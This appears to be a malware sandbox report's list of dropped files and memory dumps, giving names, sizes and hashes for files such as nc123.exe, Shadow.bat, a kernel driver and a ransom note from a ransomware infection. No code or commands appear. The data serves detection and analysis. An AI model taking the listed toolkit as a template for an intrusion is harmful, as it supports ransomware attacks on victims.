                                                                                  8040195ab2b2e15c9d5ffa13a47a61c709738d1cf5e2108e848fedf3408e5bad5f2fc5f523f170f6a80cb33a4f5612d3d60dd343d028e55cfc08cd2f6ed2947c

                                                                                • C:\Users\Admin\Downloads\Unconfirmed 721579.crdownload

                                                                                  Filesize

                                                                                  181KB

                                                                                  MD5

                                                                                  0826df3aaa157edff9c0325f298850c2

                                                                                  SHA1

                                                                                  ed35b02fa029f1e724ed65c2de5de6e5c04f7042

                                                                                  SHA256

                                                                                  2e4319ff62c03a539b2b2f71768a0cfc0adcaedbcca69dbf235081fe2816248b

                                                                                  SHA512

                                                                                  af6c5734fd02b9ad3f202e95f9ff4368cf0dfdaffe0d9a88b781b196a0a3c44eef3d8f7c329ec6e3cbcd3e6ab7c49df7d715489539e631506ca1ae476007a6a6

                                                                                • C:\Users\Admin\Downloads\Unconfirmed 855476.crdownload

                                                                                  Filesize

                                                                                  261KB

                                                                                  MD5

                                                                                  7d80230df68ccba871815d68f016c282

                                                                                  SHA1

                                                                                  e10874c6108a26ceedfc84f50881824462b5b6b6

                                                                                  SHA256

                                                                                  f4234a501edcd30d3bc15c983692c9450383b73bdd310059405c5e3a43cc730b

                                                                                  SHA512

                                                                                  64d02b3e7ed82a64aaac1f74c34d6b6e6feaac665ca9c08911b93eddcec66595687024ec576e74ea09a1193ace3923969c75de8733859835fef45335cf265540

                                                                                • C:\Users\Admin\Downloads\Unconfirmed 864553.crdownload

                                                                                  Filesize

                                                                                  291KB

                                                                                  MD5

                                                                                  e6b43b1028b6000009253344632e69c4

                                                                                  SHA1

                                                                                  e536b70e3ffe309f7ae59918da471d7bf4cadd1c

                                                                                  SHA256

                                                                                  bfb9db791b8250ffa8ebc48295c5dbbca757a5ed3bbb01de12a871b5cd9afd5a

                                                                                  SHA512

                                                                                  07da214314673407a7d3978ee6e1d20bf1e02f135bf557e86b50489ecc146014f2534515c1b613dba96e65489d8c82caaa8ed2e647684d61e5e86bd3e8251adf

                                                                                • C:\Users\Admin\Downloads\ac\EVER\1saas\1sass.exe

                                                                                  Filesize

                                                                                  92KB

                                                                                  MD5

                                                                                  0880430c257ce49d7490099d2a8dd01a

                                                                                  SHA1

                                                                                  2720d2d386027b0036bfcf9f340e325cd348e0d0

                                                                                  SHA256

                                                                                  056c3790765f928e991591cd139384b6680df26313a73711add657abc369028c

                                                                                  SHA512

                                                                                  0d7676f62b682d41fb0fe355119631a232e5d2ec99a5a0b782bbe557936a3226bbcce1a6effbba0cffde7ec048c4f7540aef0c38f158429de0adc1687bd73a11

                                                                                • C:\Users\Admin\Downloads\ac\EVER\Everything.ini

                                                                                  Filesize

                                                                                  19KB

                                                                                  MD5

                                                                                  5531bbb8be242dfc9950f2c2c8aa0058

                                                                                  SHA1

                                                                                  b08aadba390b98055c947dce8821e9e00b7d01ee

                                                                                  SHA256

                                                                                  4f03ab645fe48bf3783eb58568e89b3b3401956dd17cb8049444058dab0634d7

                                                                                  SHA512

                                                                                  3ce7e1d7b330cc9d75c3ce6d4531afe6bfa210a0bcbb45d4a7c29aabff79bebf3263fe0b5377956e2f88036b466383f001a7a6713da04a411b1aceb42bc38291

                                                                                • C:\Users\Admin\Downloads\ac\EVER\SearchHost.exe

                                                                                  Filesize

                                                                                  1.6MB

                                                                                  MD5

                                                                                  8add121fa398ebf83e8b5db8f17b45e0

                                                                                  SHA1

                                                                                  c8107e5c5e20349a39d32f424668139a36e6cfd0

                                                                                  SHA256

                                                                                  35c4a6c1474eb870eec901cef823cc4931919a4e963c432ce9efbb30c2d8a413

                                                                                  SHA512

                                                                                  8f81c4552ff561eea9802e5319adcd6c7e5bdd1dc4c91e56fda6bdc9b7e8167b222500a0aee5cf27b0345d1c19ac9fa95ae4fd58d4c359a5232bcf86f03d2273

                                                                                • C:\Users\Admin\Downloads\ac\Shadow.bat

                                                                                  Filesize

                                                                                  28B

                                                                                  MD5

                                                                                  df8394082a4e5b362bdcb17390f6676d

                                                                                  SHA1

                                                                                  5750248ff490ceec03d17ee9811ac70176f46614

                                                                                  SHA256

                                                                                  da3f155cfb98ce0add29a31162d23da7596da44ba2391389517fe1a2790da878

                                                                                  SHA512

                                                                                  8ce519dc5c2dd0bbb9f7f48bedf01362c56467800ac0029c8011ee5d9d19e3b3f2eff322e7306acf693e2edb9cf75caaf7b85eb8b2b6c3101ff7e1644950303d

                                                                                • C:\Users\Admin\Downloads\ac\mssql.exe

                                                                                  Filesize

                                                                                  10.2MB

                                                                                  MD5

                                                                                  f6a3d38aa0ae08c3294d6ed26266693f

                                                                                  SHA1

                                                                                  9ced15d08ffddb01db3912d8af14fb6cc91773f2

                                                                                  SHA256

                                                                                  c522e0b5332cac67cde8fc84080db3b8f2e0fe85f178d788e38b35bbe4d464ad

                                                                                  SHA512

                                                                                  814b1130a078dcb6ec59dbfe657724e36aa3db64ed9b2f93d8559b6a50e512365c8596240174141d6977b5ddcf7f281add7886c456dc7463c97f432507e73515

                                                                                • C:\Users\Admin\Downloads\ac\mssql2.exe

                                                                                  Filesize

                                                                                  6.7MB

                                                                                  MD5

                                                                                  f7d94750703f0c1ddd1edd36f6d0371d

                                                                                  SHA1

                                                                                  cc9b95e5952e1c870f7be55d3c77020e56c34b57

                                                                                  SHA256

                                                                                  659e441cadd42399fc286b92bbc456ff2e9ecb24984c0586acf83d73c772b45d

                                                                                  SHA512

                                                                                  af0ced00dc6eeaf6fb3336d9b3abcc199fb42561b8ce24ff2e6199966ad539bc2387ba83a4838301594e50e36844796e96c30a9aa9ad5f03cf06860f3f44e0fa

                                                                                • C:\Users\Admin\Downloads\ac\nc123.exe

                                                                                  Filesize

                                                                                  125KB

                                                                                  MD5

                                                                                  597de376b1f80c06d501415dd973dcec

                                                                                  SHA1

                                                                                  629c9649ced38fd815124221b80c9d9c59a85e74

                                                                                  SHA256

                                                                                  f47e3555461472f23ab4766e4d5b6f6fd260e335a6abc31b860e569a720a5446

                                                                                  SHA512

                                                                                  072565912208e97cc691e1a102e32fd6c243b5a3f8047a159e97aabbe302bddc36f3c52cecde3b506151bc89e0f3b5acf6552a82d83dac6e0180c873d36d3f6b

                                                                                • C:\Users\Admin\Downloads\ac\rpmuptzhkqmqdj.sys

                                                                                  Filesize

                                                                                  674KB

                                                                                  MD5

                                                                                  b2233d1efb0b7a897ea477a66cd08227

                                                                                  SHA1

                                                                                  835a198a11c9d106fc6aabe26b9b3e59f6ec68fd

                                                                                  SHA256

                                                                                  5fd17e3b8827b5bb515343bc4066be0814f6466fb4294501becac284a378c0da

                                                                                  SHA512

                                                                                  6ca61854db877d767ce587ac3d7526cda8254d937a159fd985e0475d062d07ae83e7ff4f9f42c7e1e1cad5e1f408f6849866aa4e9e48b29d80510e5c695cee37

                                                                                • C:\Users\Admin\Downloads\ac\systembackup.bat

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  b4b2f1a6c7a905781be7d877487fc665

                                                                                  SHA1

                                                                                  7ee27672d89940e96bcb7616560a4bef8d8af76c

                                                                                  SHA256

                                                                                  6246b0045ca11da483e38317421317dc22462a8d81e500dee909a5269c086b5f

                                                                                  SHA512

                                                                                  f883cea56a9ac5dcb838802753770494ce7b1de9d7da6a49b878d534810f9c87170f04e0b8b516ae19b9492f40635a72b3e8a4533d39312383c520abe00c5ae6

                                                                                • F:\$RECYCLE.BIN\S-1-5-21-2839013668-2276131261-2828740280-1000\desktop.ini.id-2DAA3087.[[email protected]].ROGER

                                                                                  Filesize

                                                                                  918B

                                                                                  MD5

                                                                                  a083c56103a05536284c9f02ec6a8e39

                                                                                  SHA1

                                                                                  5e2be3b98056e94d59b2e6ad0c358211051215a5

                                                                                  SHA256

                                                                                  9b053f3751e3b587ac9cd53cfaf16f70a34214d67f8ffd80da6d273785c661fd

                                                                                  SHA512

                                                                                  fcc76c8ecf8df35a9344d41f645df7eb6da51fb4b88faad2fe018947a259abf11dfd2a0a2974cc8b3de9635247e6b18147b55a54abd1d662f3f9f9359b7d909c

                                                                                • \Device\HarddiskVolume1\$RECYCLE.BIN\ADHLFQB-MANUAL.txt

                                                                                  Filesize

                                                                                  8KB

                                                                                  MD5

                                                                                  dfc1fd3c3eeba9e26a6b6551dd31ce32

                                                                                  SHA1

                                                                                  7383fd0fb52d71603c3c5c8cc54ef84642b24809

                                                                                  SHA256

                                                                                  964d3fa3167db82e7adab82569c0cc1b928a6c8999924b5382cdca21bcc7c131

                                                                                  SHA512

                                                                                  d9e2865a317ac83d9907fe62e89d0e9cb4f898bcfe0ef52d1bffb57422c011e90d99e499681e96211fd7fc96e0c9a5da0e5fd1e565099fe346cda622dabeefdd

                                                                                • memory/1820-643-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1820-631-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1820-641-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1820-642-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1820-639-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1820-637-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1820-638-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1820-640-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1820-632-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1820-633-0x0000026187920000-0x0000026187921000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/2232-594-0x0000000140000000-0x0000000140ACB000-memory.dmp

                                                                                  Filesize

                                                                                  10.8MB

                                                                                • memory/2232-577-0x0000000140000000-0x0000000140ACB000-memory.dmp

                                                                                  Filesize

                                                                                  10.8MB

                                                                                • memory/2232-597-0x0000000140000000-0x0000000140ACB000-memory.dmp

                                                                                  Filesize

                                                                                  10.8MB

                                                                                • memory/4236-492-0x0000000000400000-0x0000000000B02000-memory.dmp

                                                                                  Filesize

                                                                                  7.0MB

                                                                                • memory/4236-600-0x0000000000400000-0x0000000000B02000-memory.dmp

                                                                                  Filesize

                                                                                  7.0MB

                                                                                • memory/4236-578-0x0000000000400000-0x0000000000B02000-memory.dmp

                                                                                  Filesize

                                                                                  7.0MB

                                                                                • memory/5636-12072-0x0000000005260000-0x000000000526A000-memory.dmp

                                                                                  Filesize

                                                                                  40KB

                                                                                • memory/5636-11977-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11975-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11973-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11971-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11969-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11965-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11963-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11962-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11959-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11955-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11953-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11951-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11991-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11985-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11967-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11947-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11946-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11979-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11981-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11983-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-12070-0x0000000004B20000-0x00000000050C6000-memory.dmp

                                                                                  Filesize

                                                                                  5.6MB

                                                                                • memory/5636-12071-0x0000000005120000-0x00000000051B2000-memory.dmp

                                                                                  Filesize

                                                                                  584KB

                                                                                • memory/5636-11987-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11989-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11993-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11957-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11949-0x0000000004AB0000-0x0000000004ADB000-memory.dmp

                                                                                  Filesize

                                                                                  172KB

                                                                                • memory/5636-11945-0x0000000004AB0000-0x0000000004AE2000-memory.dmp

                                                                                  Filesize

                                                                                  200KB

                                                                                • memory/5636-11944-0x0000000004A40000-0x0000000004A72000-memory.dmp

                                                                                  Filesize

                                                                                  200KB